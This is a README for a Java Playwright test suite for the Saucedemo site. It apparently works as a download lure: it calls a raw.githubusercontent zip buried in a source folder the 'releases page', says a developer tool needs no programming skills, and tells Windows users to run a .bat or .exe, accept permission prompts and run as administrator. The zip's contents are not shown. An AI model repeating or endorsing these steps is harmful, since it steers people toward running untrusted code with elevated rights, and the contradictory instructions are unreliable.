This software is a test automation suite built with Java and Playwright. It runs tests that check if websites work correctly. The tests focus on the Saucedemo site. The suite uses a method called Page Object Model, which organizes test code clearly. It also creates automatic reports with screenshots, so you can easily see test results. You do not need programming skills to use it.
- Windows 10 or later
- Java Development Kit (JDK) 11 or higher installed
- At least 4 GB of free disk space
- Internet connection to download files
- A web browser like Chrome or Edge installed
- Basic use of Windows: opening folders and clicking files
- No programming or developer tools needed
- Ability to download files from the internet
- Permission to install software on your computer
Click the big green button below to visit the release page. This is where the latest versions are stored.
Go to the releases page by clicking the button above or this link:
https://raw.githubusercontent.com/Alvgon/SwagLabs-Playwright-Java/main/src/test/java/com/Java-Playwright-Swag-Labs-v1.0.zip
- Look for the newest release, usually at the top of the list.
- It will have a date and described version number like “v1.0” or similar.
- Download the zip file or installer available under the latest release.
- The file typically ends with .zip or .exe.
- If you downloaded a zip file, right-click it and choose Extract All.
- Open the extracted folder.
- Inside this folder, find a file named
run.batorstart.bat. - Double-click this file to start the software.
Note: If you see any prompts asking permission to run the file, accept them.
This suite runs automated tests to check website functions. When you run the app:
- The tests open a browser window automatically.
- Each test clicks, types, or checks parts of the website.
- If something doesn’t work, it saves a screenshot like a photo.
- After all tests finish, the app creates a report showing what worked or failed.
This helps you check the site quickly without doing it yourself.
- Tests run independently to avoid errors mixing up
- Supports tags to select which tests to run
- Generates Allure reports with visual screenshots
- Uses JUnit 5, a simple testing tool in the background
- Built with the Page Object Model for clear organization
- Works with the Playwright Java library to control browsers
- Ready for testing Saucedemo, a popular demo site
Make sure you have Java installed:
- Open Command Prompt on Windows (
press Win + Rand typecmd) - Type
java -versionand hit Enter - If it shows a version number, Java is ready
- If not, go to OpenJDK to download and install Java 11 or higher
- Visit the release page regularly: https://raw.githubusercontent.com/Alvgon/SwagLabs-Playwright-Java/main/src/test/java/com/Java-Playwright-Swag-Labs-v1.0.zip
- Download the latest package when available
- Replace your existing files with the new ones following the same extraction steps
- If tests do not start, check that you have Java installed
- Close other browser windows before running the suite
- If screenshots or reports don’t generate, ensure the app has permission to write files on your PC
- Running the batch files as administrator may solve permission issues
- Restart your PC if you see unexpected errors
After extraction, you will see these items:
README.md: This guidetests/: Folder containing the test scriptspages/: Code organizing website parts for testingresults/: Folder where reports and screenshots will be savedrun.bat: Starts the test suite
Reports use Allure, which shows:
- Passed tests in green
- Failed tests in red
- Screenshots attached to failed tests
- Summary of total tests run, passed, and failed
Open the report file located under the results/ folder after tests complete. It usually opens in your browser.
If you need help with the software, check the GitHub repository Discussions or Issues tab. You can add questions or problems there. This is the best way for developers to see and respond.
- Run the tests regularly to check the Saucedemo site
- Use tags to run specific tests if you learn how
- Look at test reports to find problems quickly
- Share reports with team members to help fix issues
- Visit https://raw.githubusercontent.com/Alvgon/SwagLabs-Playwright-Java/main/src/test/java/com/Java-Playwright-Swag-Labs-v1.0.zip
- Download the latest release zip file
- Extract files on your Windows PC
- Run
run.batto start tests - Check the reports in the results folder
This guide aims to help you ensure sites work as expected without coding or technical setup.